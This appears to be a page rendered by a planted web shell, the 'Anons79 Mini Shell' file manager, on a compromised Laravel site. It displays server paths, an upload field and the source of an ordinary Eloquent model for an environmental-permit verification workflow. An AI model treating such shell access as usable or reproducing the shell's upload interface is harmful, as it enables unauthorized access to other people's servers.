Anons79 Mini Shell

Directory : /home/aplikasiposinfo/public_html/dlhsamarinda.aplikasipos.info/laravel/app/Models/
Upload File :
Current File : /home/aplikasiposinfo/public_html/dlhsamarinda.aplikasipos.info/laravel/app/Models/MatriksRkl.php

<?php

namespace App\Models;

use Illuminate\Database\Eloquent\Factories\HasFactory;
use Illuminate\Database\Eloquent\Model;

class MatriksRkl extends Model
{
    use HasFactory;
    protected $guarded = [];


    public static function boot() {
        parent::boot();

        static::deleting(function($model) {
             $model->tahapan_matriks_rkl()->delete();
        });
    }

    public function tahapan_matriks_rkl()
    {
        return $this->hasMany(TahapanMatriksRkl::class);
    }

    public function dokumen_izin()
    {
        return $this->belongsTo(DokumenIzin::class);
    }

    public function getStatusAttribute()
    {
        $status = "verifikasi";
        foreach ($this->tahapan_matriks_rkl as $tmk) {
            foreach ($tmk->kegiatan_matriks_rkl as $kmk) {
                foreach ($kmk->detail_kegiatan_matriks_rkl as $dkm) {
                    if($dkm->status == "pending"){
                        $status = "pending";
                    }
                }
            }
        }

        return $status;
    }

    public function getSelesaiAttribute()
    {   

        foreach ($this->tahapan_matriks_rkl as $tmk) {
            foreach ($tmk->kegiatan_matriks_rkl as $kmk) {
                foreach ($kmk->detail_kegiatan_matriks_rkl as $dkm) {
                    
                    if(!$dkm->pelaksanaan){
                        return false;
                    } else {
                        $count_verifikator = [];
                        foreach ($dkm->pelaksanaans as $pelaksanaan) {
                            if($pelaksanaan->status == "terima dengan perbaikan"){
                                foreach ($pelaksanaan->verifikasis as $verifikasi) {
                                    if($verifikasi->verifikatorable_id){
                                        if(!isset($count_verifikator[$verifikasi->verifikatorable_id])){
                                             $count_verifikator[$verifikasi->verifikatorable_id] = 1;
                                        } else {
                                             $count_verifikator[$verifikasi->verifikatorable_id] += 1;
                                        }
                                    }
                                }
                            }
                        }
                        
                        foreach ($count_verifikator as $c) {
                            if($c < 3){
                                return false;
                            }
                        }

                    }
                }
            }
        }

        return true;
    }

    public function getStatusPelaksanaanAttribute()
    {   
        foreach ($this->tahapan_matriks_rkl as $tmk) {
            foreach ($tmk->kegiatan_matriks_rkl as $kmk) {
                foreach ($kmk->detail_kegiatan_matriks_rkl as $dkm) {
                    if(!$dkm->pelaksanaan){
                        return "pending";
                    }
                    if($dkm->pelaksanaan->status == "pending"){
                        return "pending";
                    }

                    if($dkm->pelaksanaan->status == "terima dengan perbaikan"){
                        return "terima dengan perbaikan";
                    }
                }
            }
        }

        return "terima tanpa perbaikan";
    }

    public function pelaporan_matriks_rkls()
    {
        return $this->hasMany(PelaporanMatriksRkl::class);
    }

}

Anons79 File Manager Version 1.0, Coded By Anons79
Email: [email protected]